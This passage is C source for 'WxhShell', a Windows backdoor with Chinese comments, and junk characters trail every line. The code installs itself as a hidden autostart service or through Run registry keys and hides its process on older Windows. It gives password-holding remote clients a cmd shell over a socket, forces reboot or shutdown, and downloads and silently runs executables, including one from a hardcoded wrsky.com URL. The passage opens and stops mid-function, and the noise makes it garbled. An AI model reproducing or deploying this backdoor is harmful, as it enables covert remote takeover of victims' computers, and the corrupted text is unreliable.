    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *p"O*zj  
    if(Boot(SHUTDOWN)) Ebbe=4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _"v~"k 90^  
    else { i/M+t~   
    closesocket(wsh); T/5nu?v  
    ExitThread(0); o5V`'[c  
    } k2wBy'M .'  
    break; A<;0L . J  
    } >VypE8H]x  
  // 获取shell 0. (zTJ  
  case 's': { _AAx )  
    CmdShell(wsh); %y3:SUOdx  
    closesocket(wsh); 5A;"jp^ Z  
    ExitThread(0); K9LEIby  
    break; PgqECd)f  
  } cnC_#kp  
  // 退出 {!g?d<*  
  case 'x': { Xv]*;Bq:SK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hX %s]"  
    CloseIt(wsh); TR|;,A[%v#  
    break; 4KZSL: A  
    } >5df@_'  
  // 离开 )e#fj+>x)  
  case 'q': { TLX^~W[gOm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7:ckq(89  
    closesocket(wsh); ]P JH'=  
    WSACleanup(); I_K[!4~Kn  
    exit(1); fyGCfM  
    break; *;Ak5.du  
        } @],Z 2  
  } `2sdZ/fO  
  } .k p $oAL  
^]KIgGv\  
  // 提示信息 V_{vZ/0e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0U9+  
} yi&?d&rK  
  } !OV|I  
57'q;I  
  return; :Q8g?TZ  
} x ru(Le}E  
F: f2s:<  
// shell模块句柄 ?UU5hek+m  
int CmdShell(SOCKET sock) {kT#o3,>w6  
{ uFMs ^^#  
STARTUPINFO si; %!>k#F^S  
ZeroMemory(&si,sizeof(si)); K@y-)I2]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J,MT^B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @ 8A{ 9i  
PROCESS_INFORMATION ProcessInfo; Hu[8HzJo  
char cmdline[]="cmd"; r .{rNR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u;$I{b@M]  
  return 0; }FuVY><l  
} v4X_v!CQ  
_QD/!~O  
// 自身启动模式 yIM.j;5:~5  
int StartFromService(void) yl[2et  
{ b;SFI^  
typedef struct >9<_s ^_  
{ 6R0D3kW  
  DWORD ExitStatus; }3bQ>whF  
  DWORD PebBaseAddress; K lPm=  
  DWORD AffinityMask; U$MWsDn   
  DWORD BasePriority; [B.W1 GL!  
  ULONG UniqueProcessId; pq%t@j(X  
  ULONG InheritedFromUniqueProcessId; y-D>xV)n  
}   PROCESS_BASIC_INFORMATION; L; @a E[#z  
_a?wf!4>P  
PROCNTQSIP NtQueryInformationProcess; E `?S!*jm  
&;'w8_K"^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W,0KBkkp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8/Lu'rI  
R:SIs\%o  
  HANDLE             hProcess; Vj?*= UL  
  PROCESS_BASIC_INFORMATION pbi; hnH)Jy;>  
Ky =(urAd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  pb,{$A  
  if(NULL == hInst ) return 0; {LjK_J'  
:-W$PIBe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); clij|?O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VGq{y{(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zS&7[:IRs'  
=>E44v  
  if (!NtQueryInformationProcess) return 0; 2 rbX8Y  
qpH j4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /&y,vkZTT  
  if(!hProcess) return 0; @^w!% ?J  
Pcd i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8^&fZL',  
D N2hv2  
  CloseHandle(hProcess); KFCQYdI`d  
wWp?HDl"M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RlG'|xaT  
if(hProcess==NULL) return 0; F(0pru4u  
a,en8+r ]  
HMODULE hMod; #c8"  
char procName[255]; &lOXi?&"  
unsigned long cbNeeded; D3,t6\m  
LR 8e|H0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1\"BvFE*E~  
3hp tP  
  CloseHandle(hProcess); P}w^9=;S  
$Qx(aWE0  
if(strstr(procName,"services")) return 1; // 以服务启动 M%nZu{  
V}3~7(   
  return 0; // 注册表启动 6%Cna0x:&  
} $~;6hnr m  
6 d{D3e[p^  
// 主模块 Y9lbf_51  
int StartWxhshell(LPSTR lpCmdLine) *,Aa9wa{  
{ ;h*"E(P p  
  SOCKET wsl; )o}=z\M-bN  
BOOL val=TRUE; d#M?lS>  
  int port=0; gu~-}  
  struct sockaddr_in door; /i7>&ND.r  
[U+<uZzOC  
  if(wscfg.ws_autoins) Install(); 2/a04qA#  
7~Xu71^3s  
port=atoi(lpCmdLine); )%-\hl]  
4cv|ok8P  
if(port<=0) port=wscfg.ws_port; ]lG_rGw  
$n_sGr  
  WSADATA data; tPMg Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0|f_C3  
8. ~Euz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0^|$cvYiL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }b\ipA,~  
  door.sin_family = AF_INET; *(_ON$+3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -h.3M0  
  door.sin_port = htons(port); 7D9h;gsP  
A=l?IC@O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AH ?MJKY@Z  
closesocket(wsl); `zV-1)=  
return 1; ]2u7?l  
} k -t,y|N  
f(zuRM^5  
  if(listen(wsl,2) == INVALID_SOCKET) { >ZOZv  
closesocket(wsl); ;9- 4J  
return 1; U iPVZ@?  
} f/|a?n2\hm  
  Wxhshell(wsl); }T^v7 LY  
  WSACleanup(); h;mQ%9 Yd  
)gm\e?^   
return 0; ek_i{'hFd  
+q>C}9s3  
} &  t @  
rUJSzLy  
// 以NT服务方式启动 ygu?w7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Av[|.~g  
{ LO Yyj?^7  
DWORD   status = 0; GO&RR}  
  DWORD   specificError = 0xfffffff; Iclan\q#y  
'TEwU0<%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Jnp{Tet  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3k|~tVM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2{Lc^6i(t  
  serviceStatus.dwWin32ExitCode     = 0; LVz%$Cq,0  
  serviceStatus.dwServiceSpecificExitCode = 0; }9fV[zO  
  serviceStatus.dwCheckPoint       = 0;  4pOc`  
  serviceStatus.dwWaitHint       = 0; M KE[Yb?  
5juCeG+Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sC'A_-'  
  if (hServiceStatusHandle==0) return; ,YuWz$aF{  
+HVG5l  
status = GetLastError(); {Rh+]=7  
  if (status!=NO_ERROR) [~rk`  
{ (Nve5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E].a|4sh  
    serviceStatus.dwCheckPoint       = 0; 6CzvRvA*P  
    serviceStatus.dwWaitHint       = 0; ,J4a~fPf  
    serviceStatus.dwWin32ExitCode     = status; -a#AE|`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7dL=E"WL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p>hCh5  
    return; :X'U`jE  
  } aWi]t'_  
IBsO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j$/uJ`  
  serviceStatus.dwCheckPoint       = 0; X/C54%T ~  
  serviceStatus.dwWaitHint       = 0; N"Nd$4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P^W$qy|  
} x[h<3V"  
(Su2 \x  
// 处理NT服务事件,比如:启动、停止 x[,wJzp\6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H'(o}cn7~  
{ 8`R}L  
switch(fdwControl) M}RFFg  
{ kv FOk  
case SERVICE_CONTROL_STOP: #._6lESK  
  serviceStatus.dwWin32ExitCode = 0; ]k%KTvX*G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pJ@DHj2@  
  serviceStatus.dwCheckPoint   = 0; ?. 'oxW  
  serviceStatus.dwWaitHint     = 0; R^w >aZ oJ  
  { ?VHwYD.B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5v03<m0`y  
  } p9bxhnn|  
  return; B7^n30+L  
case SERVICE_CONTROL_PAUSE: h4xf%vA(;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jMN@x]6w  
  break; ^bgm0,M  
case SERVICE_CONTROL_CONTINUE: ROiX =i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0}3'h#33=  
  break; hdWp  
case SERVICE_CONTROL_INTERROGATE: '%/u103{e  
  break; */m~m?  
}; 2nz'/G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q,+*u%/u  
} Ih0> ]h-7  
Z` Eb L  
// 标准应用程序主函数 Yoym5<xE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T;e(Q,!H  
{ ${H&Q*  
(~yJce  
// 获取操作系统版本 Bd]DhPhJ  
OsIsNt=GetOsVer(); 'S-"*:$,u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %b'VEd7  
wUPywV1UO  
  // 从命令行安装 rnrx%Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); `e69kBAm  
MrjB[3Td  
  // 下载执行文件 kj"_Y"q=  
if(wscfg.ws_downexe) { WX$^[^=HC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 544I#!  
  WinExec(wscfg.ws_filenam,SW_HIDE); u+T, n  
} CX2q7azG  
:JG}%  
if(!OsIsNt) { * =N 6_  
// 如果时win9x,隐藏进程并且设置为注册表启动 nylIP */  
HideProc(); /hy!8c7  
StartWxhshell(lpCmdLine); Xg)FIaw]eT  
} w9h5f  
else w)c#ZJHG  
  if(StartFromService()) K>~cY%3^i  
  // 以服务方式启动 &(1NOyX&  
  StartServiceCtrlDispatcher(DispatchTable); G U/k^ Qy  
else NjMLq|X  
  // 普通方式启动 H[yLl v  
  StartWxhshell(lpCmdLine); #6Ph"\G/  
8*){*'bf  
return 0; .aRxqFi_  
} 1;9E*=  
uy%PTi+A  
s+t eYL#Zi  
F4l6PGxF&\  
=========================================== QU;C*}0Zl  
K&oO+G^f  
{.)~4.LhQM  
T1TZ+ \  
.-*nD8b  
G#M]\)f%  
" VL1z$<vVXt  
@"5u~o')@v  
#include <stdio.h> WYUU-  
#include <string.h> s8O+&^(U  
#include <windows.h> x1ex}_\  
#include <winsock2.h> ,;& PKY  
#include <winsvc.h> 90I3_[Ii  
#include <urlmon.h> yU lQPrNX  
t`D@bzLC%  
#pragma comment (lib, "Ws2_32.lib") f}uCiV!?v  
#pragma comment (lib, "urlmon.lib") Bnc  
tHo/uW_~I  
#define MAX_USER   100 // 最大客户端连接数 c8W=Is`  
#define BUF_SOCK   200 // sock buffer ;]ew>P)  
#define KEY_BUFF   255 // 输入 buffer FCAu%lvZT  
4r!40^:2  
#define REBOOT     0   // 重启 FNO lR>0e  
#define SHUTDOWN   1   // 关机 7q1l9:VYE  
|pg5m*h  
#define DEF_PORT   5000 // 监听端口 xef7mx  
1Tkdr 2  
#define REG_LEN     16   // 注册表键长度 {.)D)8`<d  
#define SVC_LEN     80   // NT服务名长度 jC7XdYp  
lO@Ba;x  
// 从dll定义API M57(,#g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sbIhg/:ok  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZU6a   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L zy|<:K+$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MM7gMAA.mz  
o8"xoXK5xf  
// wxhshell配置信息 4x >e7Kf  
struct WSCFG { 3xY]Lqwv  
  int ws_port;         // 监听端口 _P+|tW1  
  char ws_passstr[REG_LEN]; // 口令 F`3As 9b:  
  int ws_autoins;       // 安装标记, 1=yes 0=no f>PU# D@B  
  char ws_regname[REG_LEN]; // 注册表键名 7 {<lH%Tn  
  char ws_svcname[REG_LEN]; // 服务名 ]d(}b>gR~(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $SgD| 9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nwVtfsb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ] lTfi0}g_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YiMecu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hn.UJ4V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yh!vl&8M  
-|mRJVl8  
}; [G)Sq;  
tx-bzLo\  
// default Wxhshell configuration osI(g'Xb  
struct WSCFG wscfg={DEF_PORT, )2hoO_l:  
    "xuhuanlingzhe", m#p^'}]!;  
    1, D.f=!rT7E7  
    "Wxhshell", wxrT(x|  
    "Wxhshell", 0^^i=iE-u  
            "WxhShell Service", YO61 pZY  
    "Wrsky Windows CmdShell Service", aT[7L9Cw  
    "Please Input Your Password: ", Z2 4 m  
  1, ay.IKBXc  
  "http://www.wrsky.com/wxhshell.exe", $r_gFv  
  "Wxhshell.exe" g#*N@83C  
    }; aKO@_R,:  
VVOt%d  
// 消息定义模块 W=:+f)D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } U.B$4Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tDVdl^#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uk4">]oct  
char *msg_ws_ext="\n\rExit."; 8&bj7w,K  
char *msg_ws_end="\n\rQuit."; #U6qM(J  
char *msg_ws_boot="\n\rReboot..."; mYvm_t9  
char *msg_ws_poff="\n\rShutdown..."; 1C{n\_hR  
char *msg_ws_down="\n\rSave to "; r G6/h'!|  
03T.Owd  
char *msg_ws_err="\n\rErr!"; Y#,MFEd  
char *msg_ws_ok="\n\rOK!"; L&%iY7sC`  
/zKuVaC  
char ExeFile[MAX_PATH]; .S;/v--F  
int nUser = 0; 95/C4q  
HANDLE handles[MAX_USER]; Yn/-m Z  
int OsIsNt; DEhA8.v  
CXA8V"@&b/  
SERVICE_STATUS       serviceStatus; hpu(MX\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c#Bde-dh  
m`cG&Ar5  
// 函数声明 !T)>q%@ai  
int Install(void); 3[4]G@  
int Uninstall(void); P8f-&(  
int DownloadFile(char *sURL, SOCKET wsh); Pe.D[]S  
int Boot(int flag); We2=|AB  
void HideProc(void); ZWH`s  
int GetOsVer(void); Ns_d10rZ.  
int Wxhshell(SOCKET wsl); U$}]zaB  
void TalkWithClient(void *cs); w.\:I[  
int CmdShell(SOCKET sock);  V Euv  
int StartFromService(void); ;d4_l:9p  
int StartWxhshell(LPSTR lpCmdLine); _JS'~ JO3{  
5l#)tX.by  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K"61i:F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ececN{U/  
=*I9qjla[?  
// 数据结构和表定义 E;N8{Ye_  
SERVICE_TABLE_ENTRY DispatchTable[] = Nnw iH  
{ t$J-6dW  
{wscfg.ws_svcname, NTServiceMain}, J$o J  
{NULL, NULL}  ar yr  
}; ak zb<aT  
]3G2mY;`"%  
// 自我安装 t@\0$V \X  
int Install(void) p5\b&~ g  
{ Nbda P{{  
  char svExeFile[MAX_PATH]; p|%)uA3'/  
  HKEY key; JT+P>\\];'  
  strcpy(svExeFile,ExeFile); /+iaw~={"  
5ym =2U  
// 如果是win9x系统,修改注册表设为自启动 UT-=5  
if(!OsIsNt) { ?QgWW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Vq@WF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :BS`Q/<w  
  RegCloseKey(key); 7@\iBmr6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,aeFEsi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q!n|Ju<  
  RegCloseKey(key); 4{V=X3,x  
  return 0; <Ip}uy[Y  
    } j,Y=GjfGM  
  } W$W7U|Z9y+  
} tF 4"28"h  
else { )u$A!+fo  
N.]8qzW  
// 如果是NT以上系统,安装为系统服务 N^ )OlH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZHT.+X:_  
if (schSCManager!=0) xAI<<[-  
{ <}evOw2  
  SC_HANDLE schService = CreateService /T?['#:r-)  
  ( hikun 2  
  schSCManager, UU_k"D~  
  wscfg.ws_svcname, lPH]fWt<  
  wscfg.ws_svcdisp, *m2:iChY  
  SERVICE_ALL_ACCESS, {r"HR%*u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @S{,g;8  
  SERVICE_AUTO_START, }.#C9<"}  
  SERVICE_ERROR_NORMAL, rfk';ph  
  svExeFile, w*?JW  
  NULL, F 1BPzRo`  
  NULL, ^J327  
  NULL, wS4zAu  
  NULL, F=cO=5Iz  
  NULL g#e"BBm=A  
  ); B}vI<?c  
  if (schService!=0) q8U]Hyp(`  
  { 1t6UI4U!$  
  CloseServiceHandle(schService); /2c?+04+  
  CloseServiceHandle(schSCManager); vR-/c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gc>\L3u  
  strcat(svExeFile,wscfg.ws_svcname); v^vEaB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )gE:@ 3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5i0<BZDTef  
  RegCloseKey(key); bAgKOfT  
  return 0; oD.f/hi0|  
    } pJqayzV  
  } qYE-z( i  
  CloseServiceHandle(schSCManager); (+_Amw!W  
} ~ 60J  
} )Aj~ xA  
f@ySTz;u  
return 1; RtSk;U1  
} :Z<-J`  
jYU#] |k~  
// 自我卸载 VB Ce=<  
int Uninstall(void) yCwQ0|  
{ A2xORG&FD  
  HKEY key; 18Ty )7r'  
$ _ gMJ\{  
if(!OsIsNt) { $]O\Ryf6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :g Ze>  
  RegDeleteValue(key,wscfg.ws_regname); Ih.o;8PpK  
  RegCloseKey(key); Ji=E 1R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VBOq~>V6(v  
  RegDeleteValue(key,wscfg.ws_regname); R\iU)QP  
  RegCloseKey(key); U!('`TYe  
  return 0; _c[t.\-`]  
  } ZI1[jM{4^F  
} c| E  
} k1X<jC]P  
else { ) +{'p0  
A w83@U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L|v1=qNH4  
if (schSCManager!=0) En1pz\'  
{ 7.]ZD`"Bb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IKpNc+;p  
  if (schService!=0) 67d0JQTu  
  { -E.EI@"  
  if(DeleteService(schService)!=0) { sC/T)q2  
  CloseServiceHandle(schService); F$)Ki(m q  
  CloseServiceHandle(schSCManager); t.NG ]ejZ  
  return 0; J|s4c`=  
  } JTx&_Ok#  
  CloseServiceHandle(schService); REw!@Y."  
  } tvI~?\Ylj  
  CloseServiceHandle(schSCManager); 2+0'vIw}  
} Hf#/o{=~}  
} {<bByHT!  
Ix"uk6 h  
return 1; i2EB.Zlv  
} Ehg5u'cj  
 Y]P]^3  
// 从指定url下载文件 Dk:Zeo]+my  
int DownloadFile(char *sURL, SOCKET wsh) HdVGkv/  
{ 6zyozJA  
  HRESULT hr; I9_tD@s"(  
char seps[]= "/"; )PZ'{S  
char *token; e KET8v[  
char *file; 0?k/vV4  
char myURL[MAX_PATH]; JrO2"S  
char myFILE[MAX_PATH]; ky,+xq  
&FGz53fd4  
strcpy(myURL,sURL); \07 s'W U  
  token=strtok(myURL,seps); 8eL[ ,uw  
  while(token!=NULL) V"gnG](2l  
  { &AC-?R|Dp  
    file=token; ;[&g`%-H<  
  token=strtok(NULL,seps); w<5w?nP+Oh  
  } 7|\[ipVX:3  
`XQM)A  
GetCurrentDirectory(MAX_PATH,myFILE); 74QWGw`,  
strcat(myFILE, "\\"); ]ZZ7j  
strcat(myFILE, file); JTrxh]  
  send(wsh,myFILE,strlen(myFILE),0); 6X)8vQH  
send(wsh,"...",3,0); C)Mh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G.1pg]P!  
  if(hr==S_OK) JeuW/:Wv  
return 0; &`{%0r[UD#  
else 87y$=eZ  
return 1; A\gj\&B0"  
aHS.U^2  
} sy4$!,W:  
u[y>DPPx  
// 系统电源模块 #BF(#1:  
int Boot(int flag) +Nyx2(g<m  
{ PoQ@9 A  
  HANDLE hToken; u.R:/H<>~  
  TOKEN_PRIVILEGES tkp; v$lP?\P;}X  
(V}D PA  
  if(OsIsNt) { s+9q :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $}N'm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XswEAz0=  
    tkp.PrivilegeCount = 1; Sw>AgES  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zAS&L%^tV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gb\}e}TB[  
if(flag==REBOOT) { 27}k63\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pJ1GB  
  return 0; $wAVM/u&  
} H;%a1  
else { W%@6D|^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <5G*#0gw  
  return 0; i e%ZX  
} $D1Pk  
  } *[k7KG2_U  
  else { ,@8>=rT  
if(flag==REBOOT) { 5,k&^CK}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ay/ "2pDZ  
  return 0; %#Fd0L  
} 9["yL{IPe  
else { :^%My]>T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0 ; M+8  
  return 0; Jx(%t<2  
} Q];+?Pu.  
} UeX3cD  
kL{2az3"c  
return 1; D\bW' k]!  
} i` n,{{x&4  
rV54-K;`0  
// win9x进程隐藏模块 C 3b  
void HideProc(void) N_UZu  
{ #Q"el3P+q  
bw ' yX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  0'%R@|  
  if ( hKernel != NULL ) [_#9PH33  
  { O\-cLI<h2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kw+?Lowp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W1iKn  
    FreeLibrary(hKernel); IX,/ZOZ|  
  } <$K%u?  
zH.DyD5T;  
return; 1Hp0,R}  
} <{JHFU`^  
1ki##v[ W8  
// 获取操作系统版本 8J7 xs6@  
int GetOsVer(void) ]@)X3}"!  
{ W:ih#YW_F  
  OSVERSIONINFO winfo; %DbL|;z1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y!h$Z6.  
  GetVersionEx(&winfo); g < M\zD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l!EfvqWX  
  return 1; )UO:J7K  
  else ==l p\  
  return 0; YR=<xn;m.  
} cL7je  
p9y "0A|  
// 客户端句柄模块 RgZBh04q  
int Wxhshell(SOCKET wsl) &NL=Bd  
{ pdngM 8n  
  SOCKET wsh; w$u=_  
  struct sockaddr_in client; dc|"34;^"  
  DWORD myID; T4F}MVK  
k^:$ETW2 D  
  while(nUser<MAX_USER) j]6 Z*AxQ  
{ &Ru|L.G`  
  int nSize=sizeof(client); 4t|ril``]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P*BA  
  if(wsh==INVALID_SOCKET) return 1; e%afK@c  
tK`sVsm>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D\jRF-z  
if(handles[nUser]==0) .R#p<"$I  
  closesocket(wsh); j *Ta?'*  
else G29PdmY$<  
  nUser++; O$V 6QJ  
  } @(,k%84z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hbD@B.PD  
-SGR)  
  return 0; 7%c9 nY  
} #KF:(2  
*RD9 gIze  
// 关闭 socket wWKC.N  
void CloseIt(SOCKET wsh) }5z6b>EI9a  
{ TxoMCN?7c  
closesocket(wsh); be|k"s|6)  
nUser--; xa[<k >r3  
ExitThread(0); (_^g:>)Cs  
} &.y:QVR,!  
BuCU_/H  
// 客户端请求句柄 MMqkNe  
void TalkWithClient(void *cs) rUvqAfE&+  
{ Xp[[ xV|  
eu@-v"=w  
  SOCKET wsh=(SOCKET)cs; gLa# y  
  char pwd[SVC_LEN]; d+[yW7%J  
  char cmd[KEY_BUFF]; Cg?D<l4  
char chr[1]; #'^!@+)  
int i,j; Oz# $x  
3;zJ\a.+  
  while (nUser < MAX_USER) { rRRiqmq  
8P.t  
if(wscfg.ws_passstr) { 17I{_C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Y 1iEL%\y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ r0oOpE  
  //ZeroMemory(pwd,KEY_BUFF); &^Zo}F2V  
      i=0; D}XyT/8G3  
  while(i<SVC_LEN) { b8P/9D7K?  
mk2T   
  // 设置超时 #I|Vyufw  
  fd_set FdRead; LYhgBG,   
  struct timeval TimeOut; W$O^IC  
  FD_ZERO(&FdRead); *6s B$E_y  
  FD_SET(wsh,&FdRead); " ;_bB"q*  
  TimeOut.tv_sec=8; !@{_Qt1  
  TimeOut.tv_usec=0; ^>gRK*,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GNS5v-"H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [u;]J*  
kj~)#KDN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %6j|/|#]  
  pwd=chr[0]; 0}2Uj>!i  
  if(chr[0]==0xd || chr[0]==0xa) { LyH8T'C~  
  pwd=0; p%EU,:I6  
  break; B q+RFo  
  } `<i|K*u  
  i++; 6Xb\a^ q  
    } b#(SDNo6  
[yM{A<\L  
  // 如果是非法用户,关闭 socket 'g$~ij ;x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ir|Q2$W2^c  
} {9vvj  
[X ]\^   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :{pvA;f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); []/=!?5B  
y8HLrBTza  
while(1) { >d!w&0z>  
O+%Y1=S[WQ  
  ZeroMemory(cmd,KEY_BUFF); %Qgo0  
8W)3rD>  
      // 自动支持客户端 telnet标准   }0 0mJ]H(  
  j=0; 7Te`#"  
  while(j<KEY_BUFF) { C(Ujx=G+3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HK) $ls  
  cmd[j]=chr[0]; j*t>CB4  
  if(chr[0]==0xa || chr[0]==0xd) { r5%K2q{  
  cmd[j]=0; QMea2q|3$  
  break; %_;q<@9)  
  } \u ?z:mV  
  j++; ;W]NT 4p  
    } [X0Wfb}{  
JM!rop^  
  // 下载文件 3P3x^NI  
  if(strstr(cmd,"http://")) { H$zjN8||"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (C*G)Aj7  
  if(DownloadFile(cmd,wsh)) LH@)((bi4v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#JDbV1AC  
  else jv>l6)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E@^`B9 ;Q7  
  } e;~[PYeu  
  else { Idop!b5!  
